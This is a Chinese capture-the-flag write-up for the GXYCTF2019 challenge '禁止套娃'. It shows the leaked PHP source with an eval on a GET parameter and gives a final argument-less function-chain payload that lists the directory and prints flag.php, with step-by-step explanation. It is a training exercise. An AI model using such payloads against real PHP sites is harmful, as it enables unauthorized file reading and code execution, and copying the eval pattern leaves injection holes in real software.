[GXYCTF2019]禁止套娃
题目链接:[GXYCTF2019]禁止套娃。
打开环境后如下所示。
经过查看请求包及响应包,均未发现有相关提示,因此使用 CTF Web 常用的字典进行目录扫描(不推荐使用太大的字典)。
这里使用的工具是 dirsearch,扫描发现存在 .git 目录。
因此使用工具 GitHack 来提取可能存在的泄露的源码。
得到的 index.php 源码如下。
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
...
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
// exp 参数中不能出现 data:// filter:// php:// phar://
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
// 匹配一个函数调用结构,类似于:func(arg),或嵌套的 func(func(arg)),也就是说,仅可传入无参函数
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
// exp 函数中不能出现 et、na、...
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
也就是说,要构造一个无参的 Payload,下面先给出最终的 Payload。
Payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));
。
首先是 localeconv 函数,返回一个包含本地数字及货币格式信息的数组,而且数组中的第一个元素就是 .
。
其次是 current 函数,返回数组中当前元素的值。
即,通过 localeconv 函数与 current 函数的配合,成功获取了字符:.
。
随后,通过 scandir 函数来查看当前存在的目录文件,即如下。
可以发现,flag.php 在数组中的位置为倒数第二个,因此使用 array_reverse 函数与 next 函数来定位到字符串:flag.php
,最终,使用 highlight_file 打印出 flag.php 文件的源码。
如下。